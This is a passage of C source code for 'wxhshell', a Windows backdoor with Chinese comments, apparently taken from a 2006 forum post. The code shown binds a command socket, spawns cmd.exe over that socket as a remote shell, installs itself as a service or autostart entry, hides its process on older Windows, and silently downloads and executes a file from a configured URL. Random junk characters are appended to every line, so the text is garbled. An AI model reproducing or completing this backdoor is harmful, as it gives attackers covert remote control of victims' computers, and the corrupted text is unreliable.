"||G`%aO+t  
    switch(cmd[0]) { =I+5sCF{g  
  RP wP4Z  
  // 帮助 X<H+Z2d  
  case '?': { ~>}7+p ?;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fJY b)sN  
    break; B_%O6  
  } w_q =mKu  
  // 安装 {7=k/Y*U  
  case 'i': { `UkPXCC\1  
    if(Install()) EtcXzq>w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v2mqM5Z  
    else BFn}~\wzK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?=?9a  
    break; yF^)H{yx  
    } Q\$cBSJC1  
  // 卸载 "C+Fl /v  
  case 'r': { ,E4qxZC(X  
    if(Uninstall()) |>nVp:t^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zr;(a;QKs  
    else yn{U/+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $7\hszjZ  
    break; zx5t gZd,N  
    } m RtE~~p  
  // 显示 wxhshell 所在路径 AdRt\H<  
  case 'p': { |CjdmQ u  
    char svExeFile[MAX_PATH]; Pu!%sGjD  
    strcpy(svExeFile,"\n\r"); `ln= D$  
      strcat(svExeFile,ExeFile); f/=H#'+8  
        send(wsh,svExeFile,strlen(svExeFile),0); DFqVZ   
    break; m*TJ@gI*t  
    } i)d'l<RA  
  // 重启 hC2Ra "te)  
  case 'b': { =+wkjTO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p5=VGKp  
    if(Boot(REBOOT)) eadY(-4|I-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5W?r04  
    else { +' ?axv6e  
    closesocket(wsh); _ "[O=h:  
    ExitThread(0); fkr; a`<W  
    } <1E* wPm8  
    break; Gt?ckMB  
    } $e![^I]`  
  // 关机 dp>LhTLc  
  case 'd': { j [y+'O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Hd=!  
    if(Boot(SHUTDOWN)) oJEjg>%n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0CUUgwA /  
    else { lD)QB!*v  
    closesocket(wsh); Q,xKi|$r  
    ExitThread(0); ehls:)F  
    } jhSc9  
    break; y]E ?\03"  
    } ,0[h`FN  
  // 获取shell uY=}w"Db  
  case 's': { 7~ok*yGw  
    CmdShell(wsh); Nc:>]  
    closesocket(wsh); \9dC z;  
    ExitThread(0); 9#niMv9  
    break; (g]J hG  
  } uEkUK|  
  // 退出 gkNvvuQXc  
  case 'x': { qnR{'d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Mo+HLN  
    CloseIt(wsh); 6 {tW$q  
    break; 8'Ph/L,  
    } D'+kzb@  
  // 离开 'm+)n08[  
  case 'q': { *1;}c z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fdTyY ;  
    closesocket(wsh); t5pf4M7  
    WSACleanup(); ~4+=C\r  
    exit(1); kVe_2oQ_>  
    break; uia-w^F e  
        } &/A?*2  
  } ?k*s!YCZ  
  } O WVa&8O  
c~+l|r=u?  
  // 提示信息 `l95I7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A?*_14&  
} .pQ4#AJ  
  } N!F ;!  
t^qPQ;"=,  
  return; Af>Ho"i  
} 3pKr {U92  
?$xZ$zW  
// shell模块句柄 3YF*TxKx  
int CmdShell(SOCKET sock) KCkA4`IeM  
{ v-@xO&<  
STARTUPINFO si; CCZ]`*wJ  
ZeroMemory(&si,sizeof(si)); za20Y?)[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @cZNoD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Yxt`Uvc(^h  
PROCESS_INFORMATION ProcessInfo; YQ}bG{V  
char cmdline[]="cmd"; Iz\IQa  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PO[ AP%;  
  return 0; M[R\URu8  
} )5U&^tJ  
S:GX!6>  
// 自身启动模式 TY3WP$u  
int StartFromService(void) I)Dd"I  
{ lT3, G#(  
typedef struct "p~1| ?T  
{ QviH+9  
  DWORD ExitStatus; s:y=X$&M  
  DWORD PebBaseAddress; *a7&v3X  
  DWORD AffinityMask; u@$C i/J*  
  DWORD BasePriority; 'i|z>si[*  
  ULONG UniqueProcessId; iVt*N$iZ  
  ULONG InheritedFromUniqueProcessId; nx >PZb  
}   PROCESS_BASIC_INFORMATION; +SSF=]4+  
}pa@qZXh  
PROCNTQSIP NtQueryInformationProcess; t*zBN!Wu_  
q|. X[~e|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FU|c[u|z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %K_[Bx{B  
8ctUK|  
  HANDLE             hProcess; H`$s63  
  PROCESS_BASIC_INFORMATION pbi; Ii,Lj1Q  
Z`5v6"Na  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;m3SlP{F  
  if(NULL == hInst ) return 0; 1wl8  
yU~OfwQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3cNF^?\=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }Z ws e%;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HUtuUX  
$gN1&K  
  if (!NtQueryInformationProcess) return 0; >g@;`l.Z#  
\*s'S*~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~/6m|k  
  if(!hProcess) return 0;  Yq.Cz:>b  
8#w}wGV*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HKk;oG  
(ROurq"  
  CloseHandle(hProcess); 0SXWt? }  
hgCeU+H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XU Hu=2F  
if(hProcess==NULL) return 0; (DCC4%w"  
?3"bu$@8  
HMODULE hMod; aU3 m{pE  
char procName[255]; 9Kw4K#IqQ  
unsigned long cbNeeded; -So&?3,\A@  
'~3a(1@8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :cmfy6h]  
8Vj]whE  
  CloseHandle(hProcess); SB1\SNB  
@O<kjR<b  
if(strstr(procName,"services")) return 1; // 以服务启动 (yduU  
uuzDu]Gwu  
  return 0; // 注册表启动 \Clz#k8l1  
} sT9P  
sAIL+O  
// 主模块 6|m1z  
int StartWxhshell(LPSTR lpCmdLine) nKJJ7'$'3  
{ N0GID-W!/~  
  SOCKET wsl; 2P8JLT*Tj  
BOOL val=TRUE; lM C4j  
  int port=0; u2^ oXl  
  struct sockaddr_in door; `wI<LTzXS  
+d6/*}ht  
  if(wscfg.ws_autoins) Install(); &3mseU  
Pq~"`-h7:  
port=atoi(lpCmdLine); BYN<|=  
.}6 YKKqS  
if(port<=0) port=wscfg.ws_port; x"~F=jT  
DNdwMSwp  
  WSADATA data; C:g2E[#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P$Y< g/s 4  
y@J]busU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kIV/o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @6>R/]  
  door.sin_family = AF_INET; I.j`h2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pr.Vfb  
  door.sin_port = htons(port); 2f>lgZ!  
^u#!Yo.!(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TSmuNCR  
closesocket(wsl); VkT8l4($X<  
return 1; o(w1!spA  
} Y'-BKZv!  
^:K"Tv.=  
  if(listen(wsl,2) == INVALID_SOCKET) { Z mF}pa,gd  
closesocket(wsl); O,ZvV3  
return 1; %-|Po:6  
} 2"C'Au  
  Wxhshell(wsl); !SIGzj  
  WSACleanup(); |]~tX zY  
Gd`qZqx#  
return 0; )JTh=w4n|z  
nI%0u<=d  
} ;Br8\2=$  
kssS,Ogf\_  
// 以NT服务方式启动 zv!%u=49  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $BG4M?Y  
{ y@'8vOh`  
DWORD   status = 0; {IJV(%E   
  DWORD   specificError = 0xfffffff; 3x9O<H}  
V< 0gD?Kx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [a\:K2*'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Lw?4xerLsb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |x 2>F  
  serviceStatus.dwWin32ExitCode     = 0; R>Fie5?  
  serviceStatus.dwServiceSpecificExitCode = 0; Q2PY( #  
  serviceStatus.dwCheckPoint       = 0; 8HdmG{7.  
  serviceStatus.dwWaitHint       = 0; Ooz+V;#Q  
QP)-O*+AA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ',`iQt!Lx  
  if (hServiceStatusHandle==0) return; 4hg]/X"H#  
(1%u`#5n-N  
status = GetLastError(); /sH3Rk.>  
  if (status!=NO_ERROR) &@c=$+#C  
{ p-UACMN& c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BS>|M}G)r  
    serviceStatus.dwCheckPoint       = 0; z)=D&\HX  
    serviceStatus.dwWaitHint       = 0; /OK.n3Tt  
    serviceStatus.dwWin32ExitCode     = status; R:x4j#(  
    serviceStatus.dwServiceSpecificExitCode = specificError; *Eu ca~%=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,<%Y.x%4z[  
    return; V"*|`z)  
  }  W *0XV  
`UMv#-Y8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g4&zBn  
  serviceStatus.dwCheckPoint       = 0; X3#|9  
  serviceStatus.dwWaitHint       = 0; Am%zEt$c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~ d^+yR-  
} Zaf].R  
>5#`j+8=q  
// 处理NT服务事件,比如:启动、停止 Il%LI   
VOID WINAPI NTServiceHandler(DWORD fdwControl) NwoBM6 #  
{ AtYe\_9$C  
switch(fdwControl) EE#4,d`J  
{ gfw,S;  
case SERVICE_CONTROL_STOP: 5Y#yz>B@ ]  
  serviceStatus.dwWin32ExitCode = 0; n>)CCf@H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kdman nM  
  serviceStatus.dwCheckPoint   = 0; v2G_p |+O  
  serviceStatus.dwWaitHint     = 0; Pon 2!$  
  { 9 }iEEI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mm'n#%\G  
  } QK<sibDI  
  return; ;&37mO/T  
case SERVICE_CONTROL_PAUSE: 1Z6<W~,1OM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "'p:M,:  
  break; FF6[qSV  
case SERVICE_CONTROL_CONTINUE: |8 c3%jve  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wo$9$~(  
  break; }H!c9Y  
case SERVICE_CONTROL_INTERROGATE: VmHok  
  break; |3/=dG  
}; YH&`+ +  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c<wsWs 4V  
} r#JE7uneT  
++-HdSHY  
// 标准应用程序主函数 nZ>qM]">u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /+.Bc(`  
{ ]Vo;ZY_\  
@X?DHLM  
// 获取操作系统版本 OGh9^,v  
OsIsNt=GetOsVer(); q6f+tdg=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3h aYb`  
fAm^-uq[  
  // 从命令行安装 /T]2ZX>  
  if(strpbrk(lpCmdLine,"iI")) Install(); qxf!]jm  
K>l$Y#x}k  
  // 下载执行文件 & V^ Z  
if(wscfg.ws_downexe) { *BH*   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X#'DS&{  
  WinExec(wscfg.ws_filenam,SW_HIDE); L/_h5Q:'W  
} [-_3Zr  
IP7j)SM!  
if(!OsIsNt) { [5e}A&  
// 如果时win9x,隐藏进程并且设置为注册表启动 sI7d?+  
HideProc(); iagl^(s  
StartWxhshell(lpCmdLine); K PSFy<  
} 5,})x]'x  
else jOa . h  
  if(StartFromService()) 9+ nB;vA  
  // 以服务方式启动 O`Er*-O  
  StartServiceCtrlDispatcher(DispatchTable); 'FgBYy/  
else _t|| v  
  // 普通方式启动 X0Y1I}gD  
  StartWxhshell(lpCmdLine); 7n9&@D3 :P  
,dhJ\cQ~  
return 0; L15?\|':Y  
}
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只看该作者 1 发表于: 2006-10-10
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